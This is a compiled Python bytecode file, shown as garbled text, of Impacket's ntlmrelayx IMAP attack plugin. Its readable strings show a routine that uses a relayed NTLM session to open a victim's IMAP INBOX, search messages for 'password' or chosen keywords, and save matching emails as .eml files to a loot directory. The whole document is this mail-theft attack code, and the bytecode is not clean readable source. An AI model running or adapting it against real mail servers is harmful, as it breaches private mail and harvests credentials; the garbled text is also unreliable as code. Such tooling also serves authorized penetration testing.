o
    j                     @   s@   d dl Z d dlZd dlmZ d dlmZ dZG dd deZdS )    N)LOG)ProtocolAttack
IMAPAttackc                   @   s    e Zd ZdZddgZdd ZdS )r   a  
    This is the default IMAP(s) attack. By default it searches the INBOX imap folder
    for messages with "password" in the header or body. Alternate keywords can be specified
    on the command line. For more advanced attacks, consider using the SOCKS feature.
    IMAPIMAPSc              	   C   sj  | j j}| j|d\}}|dkr*td||f  td d}| j|d\}}t|d }td||f  | j js| j	d dd	d
| j j
 dd
| j j
 \}}|dkr_td|  d S g }|D ]	}||d7 }qc| j jdkrt|| j jkr|d | j j }n!| j jdks| j j|krttd|d }nttd| j jd }t|}|dkrtd n{td|| j j
f  t|D ]k\}	}
| j|
d\}}|dkrtd|
|f  qtdd|}tdd| j}d| d | d t|
 d }ttj| j j|d}||d d  W d    n	1 sw   Y  td|	d |f  q| j  d S )NTOKzCould not open mailbox %s: %szOpening mailbox INBOXINBOXr   zFound %s messages in mailbox %sORSUBJECTz"%s"BODYzSearch failed: %s    z5No messages were found containing the search keywordsz,Dumping %d messages found by search for "%s"z(RFC822)z)Could not fetch message with index %s: %sz[^a-zA-Z0-9_\-\.]+_mail_-z.emlwzDone fetching message %d/%d)configmailboxclientselectr   errorinfointdump_allsearchkeywordsplitdump_maxlenlistrange	enumeratefetchresubusernamestropenospathjoinlootdirwritelogout)self	targetBoxresultdata
inboxCountrawdatadumpMessagesmsgsnumMsgsimsgIndex
rawMessagemailboxNametextUserNamefileNameof r>   /root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/impacket/examples/ntlmrelayx/attacks/imapattack.pyrun!   sP   
* zIMAPAttack.runN)__name__
__module____qualname____doc__PLUGIN_NAMESr@   r>   r>   r>   r?   r      s    )r#   r(   impacketr   $impacket.examples.ntlmrelayx.attacksr   PROTOCOL_ATTACK_CLASSr   r>   r>   r>   r?   <module>   s   